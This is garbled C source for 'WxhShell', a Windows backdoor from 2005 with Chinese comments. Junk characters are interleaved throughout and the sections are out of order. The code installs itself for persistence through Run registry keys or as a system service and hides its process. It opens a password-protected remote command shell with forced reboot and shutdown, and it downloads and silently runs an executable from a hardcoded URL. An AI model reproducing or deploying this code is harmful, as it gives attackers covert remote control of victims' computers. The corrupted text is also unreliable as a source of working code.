PQ[?zNrSV g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X )tH23 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h72/03! %HoD)OJe if (!NtQueryInformationProcess) return 0; &{a!)I> 6AG]7d< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UGy3B) if(!hProcess) return 0; to</ o
/[7Vo if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iBSg`"S^]C ]h(Iun CloseHandle(hProcess); ,v>;/qm %\HPYnIe hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8Sj<,+XFq if(hProcess==NULL) return 0; wGKxT
ap a(]&H
" HMODULE hMod; pka^7OWyN char procName[255]; ~1wt=Ln> unsigned long cbNeeded; tjb$MW$(' TZt;-t` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fI<LxU_n: O8A1200 CloseHandle(hProcess); aq}hlA(w d4;$=P if(strstr(procName,"services")) return 1; // 以服务启动 QhJN/v
vxEi C:&] return 0; // 注册表启动 0't)-Pj+, } =CK% Zo Jcze.t // 主模块 M?"4{ int StartWxhshell(LPSTR lpCmdLine) f/UU{vX( { z}u`45W+ SOCKET wsl; w
a(Y[]V BOOL val=TRUE; ISs&1`Y int port=0; S*h^7?Bu struct sockaddr_in door; if|5v^/ DX>LB$dy? if(wscfg.ws_autoins) Install();
S
W%>8 bXF8V port=atoi(lpCmdLine); D!,5j_,j% K}re{y if(port<=0) port=wscfg.ws_port; |kPgXq6 |7c],SHm WSADATA data; -EP1Rl`\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M*gvYo ue@/o,C> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Za|iU`e\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C78g|n{ door.sin_family = AF_INET; qm!oJL door.sin_addr.s_addr = inet_addr("127.0.0.1"); V=8db%^ door.sin_port = htons(port); (c0L
H +?U[362> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %"Um8`]FVg closesocket(wsl); P(k*SB|D return 1; s_NY#MPz[ } X1.-C@o KqntOo}
y) if(listen(wsl,2) == INVALID_SOCKET) { n~ad#iN closesocket(wsl); `~)?OTzU# return 1; ?DUim1KG } |w|c!;, Wxhshell(wsl); pS+w4gW WSACleanup(); ?;~E*kzO& qP#LJPaS return 0; ~Yk^(hl2 x;u#ec4 } r4SwvxhG N)g _LL>^ // 以NT服务方式启动 $J4\jIipL VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) by
@q g: { @iuX~QA[9 DWORD status = 0; :k1?I'q% DWORD specificError = 0xfffffff; -#f.}H' TF:'6#p serviceStatus.dwServiceType = SERVICE_WIN32; hb3:,c( serviceStatus.dwCurrentState = SERVICE_START_PENDING; #U`AK9rP_g serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1*hE bO serviceStatus.dwWin32ExitCode = 0; _dd! nU\A| serviceStatus.dwServiceSpecificExitCode = 0; V0,JTWc serviceStatus.dwCheckPoint = 0; YXWDbr:JX serviceStatus.dwWaitHint = 0; U|Fqna v3Vve:}+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3xs<w7 if (hServiceStatusHandle==0) return; y7F
|v8bq 90W=v* status = GetLastError(); }[JB% if (status!=NO_ERROR) D8L5t<^1R { '9f0UtT|[ serviceStatus.dwCurrentState = SERVICE_STOPPED; >va_,Y} serviceStatus.dwCheckPoint = 0; =fRS UtX serviceStatus.dwWaitHint = 0; aJ(/r.1G serviceStatus.dwWin32ExitCode = status; 5HOl~E serviceStatus.dwServiceSpecificExitCode = specificError; J"AR3b@,$? SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~@c<5 -`{ return; (7G4 v } E42)93~C rt*x[5< serviceStatus.dwCurrentState = SERVICE_RUNNING; 8*0QVFn$ serviceStatus.dwCheckPoint = 0; Bp7p X serviceStatus.dwWaitHint = 0; Li5&^RAo|J if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .|[{$&B } YgcW1}
:38{YCN // 处理NT服务事件,比如:启动、停止 d|RUxNjM-J VOID WINAPI NTServiceHandler(DWORD fdwControl) *xNc^&. { wx3_?8z/O switch(fdwControl) <K^a2 D { ' J@J$#6 case SERVICE_CONTROL_STOP: >(a35 b$ serviceStatus.dwWin32ExitCode = 0; n3~axRPO serviceStatus.dwCurrentState = SERVICE_STOPPED; #b;?:.m\= serviceStatus.dwCheckPoint = 0; zz
U,0
L serviceStatus.dwWaitHint = 0; gP
QOv { $}WT"K SetServiceStatus(hServiceStatusHandle, &serviceStatus); T)I)r239h } h}SZ+G/L return; jXA/G%:[ case SERVICE_CONTROL_PAUSE: uluAqDz` serviceStatus.dwCurrentState = SERVICE_PAUSED; pCIS82L break; 0R)x"4Ww case SERVICE_CONTROL_CONTINUE: p($vM^_<" serviceStatus.dwCurrentState = SERVICE_RUNNING; G7&TMg7i break; DK?aFSf\ case SERVICE_CONTROL_INTERROGATE: (o|bst][S break; BZW03e8| }; 9Q,>I6`l SetServiceStatus(hServiceStatusHandle, &serviceStatus); }
KyoMs } ?]D&D:Z?I <CuUwv
'A // 标准应用程序主函数 iUcX\
uW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v>`Fo[c { 4O-LLH [Kc ?<3W // 获取操作系统版本 j<kW+Iio OsIsNt=GetOsVer(); Am*IC?@tq GetModuleFileName(NULL,ExeFile,MAX_PATH); B%\&Q@X _\\Al v. // 从命令行安装 ]\^O(BzB if(strpbrk(lpCmdLine,"iI")) Install(); h_ 4*?w p48enH8CO // 下载执行文件 q3#[6! if(wscfg.ws_downexe) { nvndgeSy if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %mmV#vwp WinExec(wscfg.ws_filenam,SW_HIDE); .hx(9 } E\/[hT ?:$
q~[LY if(!OsIsNt) { Kb+SssF // 如果时win9x,隐藏进程并且设置为注册表启动 vgy.fP"@ HideProc(); KR$Fd StartWxhshell(lpCmdLine); 14'\@xJMM } x$-kw{N else -/?)0E if(StartFromService()) ZJ%NZAxy // 以服务方式启动 ppz3"5 StartServiceCtrlDispatcher(DispatchTable); %l!A%fn( else 'EIe5Op // 普通方式启动 ra'/~^9 StartWxhshell(lpCmdLine); /HRKw
D >ZkL`!:s return 0; fhN\AjB6Td } }
TUr96 oVK:A;3T| a,oTU\m
C \Vx^u}3O =========================================== FQO=}0Hl Sa<(F[p` lkT :e)w
]+Whv%M @LOfqQ$FE /lECgu*#69 " &fB=&jc*j GPLop/6
#include <stdio.h> |j0_^:2r= #include <string.h> Q*<KX2O #include <windows.h> t >"`rcg #include <winsock2.h> 8/>.g.] #include <winsvc.h> EY"of[p #include <urlmon.h> zp8x/,gwF P+f}r^4} #pragma comment (lib, "Ws2_32.lib") Kfb(wW #pragma comment (lib, "urlmon.lib") [j/|)cj 7_ oUuNw #define MAX_USER 100 // 最大客户端连接数 wuXQa
wo #define BUF_SOCK 200 // sock buffer H8w[{'Mei
#define KEY_BUFF 255 // 输入 buffer .9x*YS lU!_V%n #define REBOOT 0 // 重启 `_cv& "K9f #define SHUTDOWN 1 // 关机 -crMO57/ 3r+c&^ #define DEF_PORT 5000 // 监听端口 /b>xQ.G yJ!26 #define REG_LEN 16 // 注册表键长度 &UH0Tw4 #define SVC_LEN 80 // NT服务名长度 /(8"]f/ 4eB'mPor // 从dll定义API L[2N zwO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w` +,
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +H&/C1u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1,=:an typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )zO|m7 8F>9CO:&N // wxhshell配置信息 ?{ '_4n3O struct WSCFG { T`@brL int ws_port; // 监听端口 X% 05[N char ws_passstr[REG_LEN]; // 口令 W)ug%@ ) int ws_autoins; // 安装标记, 1=yes 0=no WwsNAJ char ws_regname[REG_LEN]; // 注册表键名 1f+A_k/@ char ws_svcname[REG_LEN]; // 服务名 ,X3D<wl char ws_svcdisp[SVC_LEN]; // 服务显示名 3A^AEO char ws_svcdesc[SVC_LEN]; // 服务描述信息 kkZ}&OXS; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L@O>;zp; int ws_downexe; // 下载执行标记, 1=yes 0=no +PE-j| D char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OD7A(28 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0B8Wf/j?M BTwc(oL }; ngZq]8=o KgM|:' // default Wxhshell configuration .t[u_tBL struct WSCFG wscfg={DEF_PORT, )T9Cv8 "xuhuanlingzhe", ~/A2:}Cp= 1, NpGi3>5 "Wxhshell", 8B-PsS|' "Wxhshell", EE]xZz>o "WxhShell Service", 90uXJyW;d "Wrsky Windows CmdShell Service", B ZU@W%E "Please Input Your Password: ", `\(co;: 1, 4~1b "http://www.wrsky.com/wxhshell.exe", Mhn1-ma: "Wxhshell.exe" e+!xy&u@u }; O-7)"
6t7FklM% // 消息定义模块 to).PI? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ??e|ec2% char *msg_ws_prompt="\n\r? for help\n\r#>"; 9LPXhxNwB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @nwVl8 char *msg_ws_ext="\n\rExit."; }ACg#;>/+ char *msg_ws_end="\n\rQuit."; y(<{e~ char *msg_ws_boot="\n\rReboot..."; }.D18bE( char *msg_ws_poff="\n\rShutdown..."; +fY@q,` char *msg_ws_down="\n\rSave to "; [@/p 8I ,k_ b-/ char *msg_ws_err="\n\rErr!"; ;g8v7>p char *msg_ws_ok="\n\rOK!"; #QsJr_= Hc8^w6S1@ char ExeFile[MAX_PATH]; D8!
Y0 int nUser = 0; W2-l_{ HANDLE handles[MAX_USER]; A?04,l]y int OsIsNt; 0=
bXL!] ;\}dQsX SERVICE_STATUS serviceStatus; E8PwA. SERVICE_STATUS_HANDLE hServiceStatusHandle; +cXi|Zf 8h)7K/!\ // 函数声明 + R6X int Install(void); :I"22EH int Uninstall(void); TT9
\m=7 int DownloadFile(char *sURL, SOCKET wsh); k;<@2C int Boot(int flag); OH`zeI,[* void HideProc(void); Chl^LEN: int GetOsVer(void); 1F>8#+B/W int Wxhshell(SOCKET wsl); jQ7;-9/~N void TalkWithClient(void *cs); e~*tQ4 int CmdShell(SOCKET sock); n&&C(#mBC int StartFromService(void); :Nf(:D8 int StartWxhshell(LPSTR lpCmdLine); AW\uE[kg %I`'it2d VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m["e7>9G VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;uc3_J] ?#<'w(^%# // 数据结构和表定义 \H>Psv{ SERVICE_TABLE_ENTRY DispatchTable[] = ;Q&9t { x(Uv>k~i} {wscfg.ws_svcname, NTServiceMain}, #k/T\PQ0s {NULL, NULL} wbr$w>n }; -]}#Z:& lmUCrs37 // 自我安装 q;QasAQS`p int Install(void) c1i[1x% { ?z|Bf@TJ[+ char svExeFile[MAX_PATH]; x ]}'H HKEY key; zN5};e}^v strcpy(svExeFile,ExeFile); Iao?9,NL9O wAu]U6! // 如果是win9x系统,修改注册表设为自启动 dm_Pz\* if(!OsIsNt) { qp*~| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _IEbRVpb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~x4]p|)</ RegCloseKey(key); 6b2h\+AP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "fv+}' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6NyUGGRq RegCloseKey(key); .
WJ return 0; Q~Nq5[ } +B8oW3v# ) } bUy!hS;s } dtV*CX.D.7 else { 3NZK$d=4 =Gj~:|;$ // 如果是NT以上系统,安装为系统服务
!Q_Kil.9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \I6F;G6 if (schSCManager!=0) I4ZbMnO { 6^jrv [d SC_HANDLE schService = CreateService ldU ><xc2 ( OU/3U(%n]e schSCManager, ]X7_ji(l, wscfg.ws_svcname, .i?{h/9y wscfg.ws_svcdisp, B
k\KG SERVICE_ALL_ACCESS, KCbOO8cQS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8?'=Aeo SERVICE_AUTO_START, m=COF$< SERVICE_ERROR_NORMAL, #68$'Rl"o1 svExeFile, bM_fuy55Op NULL, @@R&OR NULL, &\5bo=5V NULL, @o}J ) NULL, yXtQfR NULL s)3CosU ); o,_F;ZhE if (schService!=0) WFFd3TN%< { pcOKC 0b. CloseServiceHandle(schService); pE+:tMH; CloseServiceHandle(schSCManager); c;t3I}, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zn*W2s^^{ strcat(svExeFile,wscfg.ws_svcname); (}T},ygQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |V}tTx1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?qHQ#0 @y] RegCloseKey(key);
\%]lsml return 0; N5#j}tT } f2KH&j>~r } l.;^w CloseServiceHandle(schSCManager); &F;bg } 6_rgRo& } JX>`N5s $%&OaAg return 1;
{pre|r\ } Xa"I K'E)?NW69 // 自我卸载 0[uOKFgE int Uninstall(void) 9&kPcFX B { ^* y1Fn0 HKEY key; 48;b c\szy&W if(!OsIsNt) { !)J$f_88D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I+^iOa RegDeleteValue(key,wscfg.ws_regname); 3T 0'zJ2f RegCloseKey(key); =kOo( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mxd7X<\$ RegDeleteValue(key,wscfg.ws_regname); zrE{CdG%y RegCloseKey(key); A 3q#,% return 0; x=\W TC } hSps9*y } 0;w 4WJJ } siV]NI':| else { sQrM"i0Y> ,k@iNid SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j,i)ecZ> if (schSCManager!=0) DbR!s1ux {
<ZO+e*4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FKf2Q&2I if (schService!=0) ]gA2.,)}D { #c/K.? if(DeleteService(schService)!=0) { dgByl-8Q CloseServiceHandle(schService); *|6vCR CloseServiceHandle(schSCManager); cs: ?Wq ^ return 0; 931GJA~g } VS~+W=5} CloseServiceHandle(schService); ~Kt+j } o=lZl_5/u; CloseServiceHandle(schSCManager); SFEDR?s } (A?w|/bZd } 0}:Wh&g k0b6X5 return 1; O
~[[JAi[ } 'w/S6j $.ctlWS8l{ // 从指定url下载文件 -" r4 int DownloadFile(char *sURL, SOCKET wsh) 7^#O{QYol { (\
|Go-2G HRESULT hr; rof9Rxxe- char seps[]= "/"; kcNPdc char *token; (enOj0 char *file; QPFv]^s( char myURL[MAX_PATH]; BryD?/}P)M char myFILE[MAX_PATH]; J'&K 4^ 0CHy strcpy(myURL,sURL); \^'-=8<*> token=strtok(myURL,seps); Iy4REP| while(token!=NULL) :"i2`y;u { i8*(J-M file=token; \2Q#' token=strtok(NULL,seps); R=iwp%c( } ?2gXF0+~Y2 /p}pdXS GetCurrentDirectory(MAX_PATH,myFILE); z_(4 strcat(myFILE, "\\"); )2jH&}K strcat(myFILE, file); wr>6Go% send(wsh,myFILE,strlen(myFILE),0); 'OU3-K send(wsh,"...",3,0); :$XlYJrjK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^>fr+3a"P if(hr==S_OK) &pv*TL8 return 0; \SJX;7ST else 3?+t%_[ return 1; (
~JtKSq% XE;'K`% } AJoP3Zv|? J0t_wMJa // 系统电源模块 *~UK5Brf1 int Boot(int flag) z4]z3U<}3] { AZ\f6r{
HANDLE hToken; W=n
Hi\jLV TOKEN_PRIVILEGES tkp; @cG+D 0yb9R/3. if(OsIsNt) { M pz9}[`3g OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \~C/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ga
<=Di): tkp.PrivilegeCount = 1; ;hd%wmE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q[T)jo,j% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iqWkhJphv if(flag==REBOOT) { _Q b].~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lI9|"^n7F return 0; ZV-Yq !|t } btDTC9O else { Izfq`zS+\s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vhU#<59a1 return 0; H.tfn>N| } 0^d<@\ } !H9zd\wc else { LZJFp@ if(flag==REBOOT) { <yw=+hz[u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #1'p?%K. return 0; E7<l^/<2S+ } 9SU/86|N else { >5t]Zlb` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pT:6A[& return 0; T9>,Mx%D[ } 2Fbg"de3- } "2"2qZ*h} 8&7zV:= return 1; AbX#wpp! } s}4k^NGFJ $o
;48uV^ // win9x进程隐藏模块 ,jy9\n*<t9 void HideProc(void) hXc:y0
0 { 8(!?y[ h~Z:YY)4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^jk-GRD* if ( hKernel != NULL ) rFW,x_*_vP { Ma ]*Pled pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1[e%E#h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e,*@+E\4 FreeLibrary(hKernel); aL8Z|* } K[q-[q#yc PD^Cj?wm return; a0`(*#P } N1l^%Yf J }~v0o#
I // 获取操作系统版本 NU3s^ 8\( int GetOsVer(void) @M(+YCi:e@ { ~yY5pnJ OSVERSIONINFO winfo; {w v{"*Q9Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =vb 'T GetVersionEx(&winfo); y*-D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G~f|Sx return 1; 22E I`}"J else b C"rQJg return 0; k!g%vx } O7f"8|=HX R]d934s // 客户端句柄模块 jZ,=tF int Wxhshell(SOCKET wsl) #*+$o<Q]9 { 1L4v X SOCKET wsh; 4CxU
eq struct sockaddr_in client; ]QF*\2b-I2 DWORD myID; Fw%S%*B8g e#ne 5 while(nUser<MAX_USER) Gr~J-#a3~D { n?v$C:jLN int nSize=sizeof(client); }Gd^r wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PWS5s^WM if(wsh==INVALID_SOCKET) return 1; J>+~//C zHXb[$Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p<Vj<6.=? if(handles[nUser]==0) y6>fK@K~ closesocket(wsh); ~@D{&7@ else i MF-TR nUser++; fLuOxYQbf } 6KX/Yj~B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2))pB/ 1HeE$ return 0; JiX-t\V ~ } q =26($ =qww|B92 // 关闭 socket 9y;zk$O8 void CloseIt(SOCKET wsh) o^x,JT { 4z^VwKH\ j closesocket(wsh); uh3<%9#\k nUser--; H `_{n< ExitThread(0); 5Qxm\?0J } VW**N}1#C @.h;k4TD // 客户端请求句柄 [:l=>yJ{( void TalkWithClient(void *cs) 9Hs5uBe { ?b?YiK&yz AN+S6t SOCKET wsh=(SOCKET)cs; o_.`&Q6n char pwd[SVC_LEN]; vk3C&!M<a char cmd[KEY_BUFF]; K^c%$n:}+ char chr[1]; f|{&Y2h(R int i,j; F?4&qbdD #!w7E,UBi while (nUser < MAX_USER) { v3r<kNW_ X>Y>1fI. if(wscfg.ws_passstr) { d-B,)$zE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1*OZu.NdK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y".4."NX //ZeroMemory(pwd,KEY_BUFF); :a)` iJnb i=0; W9jxw4) while(i<SVC_LEN) { rf
=Wq_ ?Nl@K/ // 设置超时 Uq(fk9`6 fd_set FdRead; TL: 6Pe struct timeval TimeOut; R(GL{Dh}L FD_ZERO(&FdRead); +3r4GEa
Z FD_SET(wsh,&FdRead); +w(B9rH TimeOut.tv_sec=8; w!52DBOe+ TimeOut.tv_usec=0; ~lr,}K, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n fMU4(: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mfr7w+DK ,xy$h }g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g<YN# pwd=chr[0]; Jmun^Q/h if(chr[0]==0xd || chr[0]==0xa) { MJy(B>< pwd=0; Di&XDW/ break; KKNQ+'? } \T^ptj(0 i++; Z<[:v2 } f
SMy?8 7~nuFJaTI // 如果是非法用户,关闭 socket 0W]vK$\F* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /(DnMHn\ } 6Vu) rWip[>^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4&G
#Bi send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *m[[>wE \y+@mJWa while(1) { S i-Q'*Y= fmv,)UP ZeroMemory(cmd,KEY_BUFF); =8Gpov1!V~ c6MMI]+8 // 自动支持客户端 telnet标准 WL}XD
Kx j=0; B<&g while(j<KEY_BUFF) { 0uJ??4N9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |L(h+/>aWX cmd[j]=chr[0]; l|K$6>80 if(chr[0]==0xa || chr[0]==0xd) { *JiI>[ cmd[j]=0; qR9!DQc' break; uevhW
} Xt$Y&Ho j++; \?"kT}.. } N) y`J8hawp // 下载文件 6K5mMu#4 if(strstr(cmd,"http://")) { qzii[Mf send(wsh,msg_ws_down,strlen(msg_ws_down),0); &|fWtl;43 if(DownloadFile(cmd,wsh)) @J<RFgw# send(wsh,msg_ws_err,strlen(msg_ws_err),0); &L r~x#Wx else b$>1_wTL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )8_MkFQe } =&WH9IKz |